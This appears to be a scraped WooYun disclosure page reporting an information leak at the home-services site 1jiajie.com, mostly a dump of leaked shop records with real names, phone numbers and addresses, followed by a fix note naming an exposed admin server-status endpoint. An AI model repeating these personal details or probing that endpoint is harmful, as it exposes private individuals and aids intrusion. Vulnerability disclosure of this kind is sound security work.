13:49:10","city_code":"179","shop_address":"城市拓展部","shop_phone":"13333333333","shop_boss":"张建勇","create_admin_id":"151","stores_code":"","stores_create_time":"0000-00-00 00:00:00","stores_create_admin_id":"0","agency_id":"0","bank_card":"","bank_name":"","bank_add":"","pwd":"","bank_people":""},"35":{"shop_id":"35","shop_name":"重庆龙山店","create_time":"2014-09-09 14:00:00","city_code":"132","shop_address":"重庆市渝北区龙山街道龙山大道401号扬子江商务小区1幢18-2室","shop_phone":"13641312356","shop_boss":"闫兴宾","create_admin_id":"254","stores_code":"","stores_create_time":"0000-00-00 00:00:00","stores_create_admin_id":"0","agency_id":"0","bank_card":"","bank_name":"","bank_add":"","pwd":"","bank_people":""},"36":{"shop_id":"36","shop_name":"深圳城市拓展部","create_time":"2014-09-11 09:58:54","city_code":"340","shop_address":"广东省深圳市福田区红岭中路2065号南国大厦1栋8A","shop_phone":"18029729978","shop_boss":"高远","create_admin_id":"151","stores_code":"013","stores_create_time":"2014-12-10 18:30:16","stores_create_admin_id":"340","agency_id":"0","bank_card":"","bank_name":"","bank_add":"","pwd":"","bank_people":""},"37":{"shop_id":"37","shop_name":"深圳红岭店","create_time":"2014-09-11 10:12:15","city_code":"340","shop_address":"广东省深圳市福田区红岭中路2065号南国大厦1栋8A","shop_phone":"13922840094","shop_boss":"汤婕","create_admin_id":"180","stores_code":"032","stores_create_time":"2014-12-10 18:30:33","stores_create_admin_id":"340","agency_id":"0","bank_card":"","bank_name":"","bank_add":"","pwd":"","bank_people":""},"38":{"shop_id":"38","shop_name":"广州城市拓展部","create_time":"2014-09-19 11:52:05","city_code":"257","shop_address":"天河区体育西路六运一街11号3楼","shop_phone":"02037344110","shop_boss":"余黄昌","create_admin_id":"254","stores_code":"012","stores_create_time":"2014-12-10 18:30:58","stores_create_admin_id":"340","agency_id":"0","bank_card":"","bank_name":"","bank_add":"","pwd":"","bank_people":""},"39":{"shop_id":"39","shop_name":"全国总部采购","create_time":"2014-09-23 13:20:26","city_code":"131","shop_address":"SOHO708","shop_phone":"13333333333","shop_boss":"刘静","create_admin_id":"151","stores_code":"","stores_create_time":"0000-00-00 00:00:00","stores_create_admin_id":"0","agency_id":"0","bank_card":"","bank_name":"","bank_add":"","pwd":"","bank_people":""},"40":{"shop_id":"40","shop_name":"保姆事业部","create_time":"2014-09-26 18:01:05","city_code":"131","shop_address":"乐澜宝邸2号楼4单元1004(劲松地铁出B口往前50米)","shop_phone":"15201201224","shop_boss":"付玉林","create_admin_id":"151","stores_code":"007","stores_create_time":"2014-12-10 18:31:43","stores_create_admin_id":"340","agency_id":"0","bank_card":"","bank_name":"","bank_add":"","pwd":"","bank_people":""},"41":{"shop_id":"41","shop_name":"成都城市拓展部","create_time":"2014-09-29 17:36:49","city_code":"75","shop_address":"成都市武侯区桐梓林东路1号（世纪锦苑）2栋2单元101室","shop_phone":"15308097371","shop_boss":"王辰甫13611271297 ","create_admin_id":"254","stores_code":"011","stores_create_time":"2014-12-10 18:32:13","stores_create_admin_id":"340","agency_id":"0","bank_card":"","bank_name":"","bank_add":"","pwd":"","bank_people":""},"42":{"shop_id":"42","shop_name":"南京江宁店","create_time":"2014-09-30 17:39:53","city_code":"315","shop_address":"南京市江宁区上元大街金王府37栋一单元103","shop_phone":"02566031165","shop_boss":"曹磊 18551636596","create_admin_id":"254","stores_code":"034","stores_create_time":"2014-12-10 18:32:35","stores_create_admin_id":"340","agency_id":"0","bank_card":"","bank_name":"","bank_add":"","pwd":"","bank_people":""},"43":{"shop_id":"43","shop_name":"南京河西店","create_time":"2014-09-30 17:40:29","city_code":"315","shop_address":"南京市建邺区新安江街万达华府东苑7栋一单元102","shop_phone":"02566031689","shop_boss":"任尚谦18721895169","create_admin_id":"254","stores_code":"035","stores_create_time":"2014-12-10 18:32:55","stores_create_admin_id":"340","agency_id":"0","bank_card":"","bank_name":"","bank_add":"","pwd":"","bank_people":""},"44":{"shop_id":"44","shop_name":"深圳竹子林店","create_time":"2014-10-13 09:57:07","city_code":"340","shop_address":"深圳市福田区深南大道建业大厦A座1608","shop_phone":"83460567","shop_boss":"杨彦朋18666608986","create_admin_id":"180","stores_code":"033","stores_create_time":"2014-12-10 18:33:13","stores_create_admin_id":"340","agency_id":"0","bank_card":"","bank_name":"","bank_add":"","pwd":"","bank_people":""},"45":{"shop_id":"45","shop_name":"成都东门店","create_time":"2014-10-13 16:09:02","city_code":"75","shop_address":"成华区双林北横路131号（新华园）2栋2单元102","shop_phone":"13880592913","shop_boss":"胡宇辉","create_admin_id":"254","stores_code":"030","stores_create_time":"2014-12-10 18:33:33","stores_create_admin_id":"340","agency_id":"0","bank_card":"","bank_name":"","bank_add":"","pwd":"","bank_people":""},"46":{"shop_id":"46","shop_name":"上海花木店","create_time":"2014-10-16 17:02:13","city_code":"289","shop_address":"浦东新区花木路500弄46号102室","shop_phone":"13774439200","shop_boss":"黄金龙13774439200","create_admin_id":"254","stores_code":"025","stores_create_time":"2014-12-10 18:34:15","stores_create_admin_id":"340","agency_id":"0","bank_card":"","bank_name":"","bank_add":"","pwd":"","bank_people":""},"47":{"shop_id":"47","shop_name":"上海闵行店","create_time":"2015-07-13 15:42:08","city_code":"289","shop_address":"天钥桥路500弄8号万体景园501室","shop_phone":"13619852752","shop_boss":"辛亚洲13619852752","create_admin_id":"756","stores_code":"","stores_create_time":"0000-00-00 00:00:00","stores_create_admin_id":"0","agency_id":"0","bank_card":"","bank_name":"","bank_add":"","pwd":"","bank_people":""},"48":{"shop_id":"48","shop_name":"南京江北店","create_time":"2014-10-29 10:16:26","city_code":"315","shop_address":"虚拟门店","shop_phone":"15950470520","shop_boss":"毕静芳","create_admin_id":"254","stores_code":"036","stores_create_time":"2014-12-10 18:34:38","stores_create_admin_id":"340","agency_id":"0","bank_card":"","bank_name":"","bank_add":"","pwd":"","bank_people":""},"49":{"shop_id":"49","shop_name":"北京顺义店","create_time":"2014-11-04 10:55:17","city_code":"131","shop_address":"网络店","shop_phone":"13718703742","shop_boss":"文志英","create_admin_id":"151","stores_code":"","stores_create_time":"0000-00-00 00:00:00","stores_create_admin_id":"0","agency_id":"0","bank_card":"","bank_name":"","bank_add":"","pwd":"","bank_people":""},"50":{"shop_id":"50","shop_name":"洗衣事业部","create_time":"2014-12-22 16:31:43","city_code":"131","shop_address":"光华路SOHO B座708室","shop_phone":"13720056419","shop_boss":"韩毓军","create_admin_id":"409","stores_code":"","stores_create_time":"0000-00-00 00:00:00","stores_create_admin_id":"0","agency_id":"0","bank_card":"","bank_name":"","bank_add":"","pwd":"","bank_people":""},"51":{"shop_id":"51","shop_name":"时间待定","create_time":"2015-01-15 10:49:57","city_code":"131","shop_address":"此门店为总部客服专用","shop_phone":"13333333333","shop_boss":"此门店为总部客服专用","create_admin_id":"254","stores_code":"","stores_create_time":"0000-00-00 00:00:00","stores_create_admin_id":"0","agency_id":"0","bank_card":"","bank_name":"","bank_add":"","pwd":"","bank_people":""},"52":{"shop_id":"52","shop_name":"淘宝活动过期待取消","create_time":"2015-01-15 10:50:20","city_code":"131","shop_address":"此门店为总部客服专用","shop_phone":"13333333333","shop_boss":"此门店为总部客服专用","create_admin_id":"254","stores_code":"","stores_create_time":"0000-00-00 00:00:00","stores_create_admin_id":"0","agency_id":"0","bank_card":"","bank_name":"","bank_add":"","pwd":"","bank_people":""},"53":{"shop_id":"53","shop_name":"北京洗衣四季青店","create_time":"2015-04-15 13:48:26","city_code":"131","shop_address":"远大路远大园2区一号楼B1-e","shop_phone":"58431238","shop_boss":"王志强","create_admin_id":"114","stores_code":"","stores_create_time":"0000-00-00 00:00:00","stores_create_admin_id":"0","agency_id":"0","bank_card":"","bank_name":"","bank_add":"","pwd":"","bank_people":""},"54":{"shop_id":"54","shop_name":"北京洗衣大悦城店","create_time":"2015-04-15 13:49:53","city_code":"131","shop_address":"青年路华纺易城东区十号楼4门101","shop_phone":"56192287","shop_boss":"徐晋峰","create_admin_id":"114","stores_code":"","stores_create_time":"0000-00-00 00:00:00","stores_create_admin_id":"0","agency_id":"0","bank_card":"","bank_name":"","bank_add":"","pwd":"","bank_people":""},"55":{"shop_id&am

修复方案：

删除http://old.admin.1jiajie.com/server-status
接口增加有效验证

版权声明：转载请注明来源路人甲@乌云

漏洞回应

厂商回应：

危害等级：低

漏洞Rank：5

确认时间：2015-10-08 17:34

厂商回复：

多谢您的反馈

WooYun.org

漏洞概要关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0144573

漏洞标题：E家洁某处信息泄露造成任意用户订单/银行卡/密码/住址/电话/个人详细资料泄露

相关厂商：1jiajie.com

漏洞作者：路人甲

提交时间：2015-10-02 22:32

修复时间：2015-11-22 17:36

公开时间：2015-11-22 17:36

漏洞类型：网络敏感信息泄漏

危害等级：高

自评Rank：20

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签：无

4人收藏收藏
分享漏洞：

漏洞详情

披露状态：

简要描述：

详细说明：

漏洞证明：

修复方案：

版权声明：转载请注明来源路人甲@乌云

漏洞回应

厂商回应：

厂商回复：

最新状态：

WooYun.org

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0144573

漏洞标题：E家洁某处信息泄露造成任意用户订单/银行卡/密码/住址/电话/个人详细资料泄露

相关厂商：1jiajie.com

漏洞作者： 路人甲

提交时间：2015-10-02 22:32

修复时间：2015-11-22 17:36

公开时间：2015-11-22 17:36

漏洞类型：网络敏感信息泄漏

危害等级：高

自评Rank：20

漏洞状态：厂商已经确认

Tags标签： 无

4人收藏 收藏 var token=""; var id="wooyun-2015-0144573"; $(".btn-fav").click(function(){ CollectBug(id,token); }); 分享漏洞：

漏洞详情

披露状态：

简要描述：

详细说明：

漏洞证明：

修复方案：

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

厂商回复：

最新状态：

漏洞概要关注数(24) 关注此漏洞

漏洞作者：路人甲

Tags标签：无

4人收藏收藏
分享漏洞：

版权声明：转载请注明来源路人甲@乌云